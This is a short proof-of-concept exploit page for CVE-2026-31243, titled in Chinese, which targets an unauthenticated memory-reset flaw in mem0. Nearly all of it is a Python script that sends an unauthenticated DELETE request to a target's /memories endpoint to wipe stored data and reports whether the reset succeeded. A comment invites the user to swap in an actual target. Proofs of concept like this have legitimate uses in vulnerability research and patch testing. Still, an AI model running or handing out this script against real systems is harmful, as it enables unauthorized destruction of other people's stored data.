CVE-2026-31243 mem0未授权重置漏洞

import requests def exploit(target_url): """ PoC for CVE-2026-31243: Unauthenticated Memory Reset in mem0 """ # The vulnerable endpoint is usually /memories endpoint = f"{target_url.rstrip('/')}/memories" try: # Send a DELETE request without authentication response = requests.delete(endpoint, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Memory reset triggered.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://localhost:3000" # Replace with actual target exploit(target)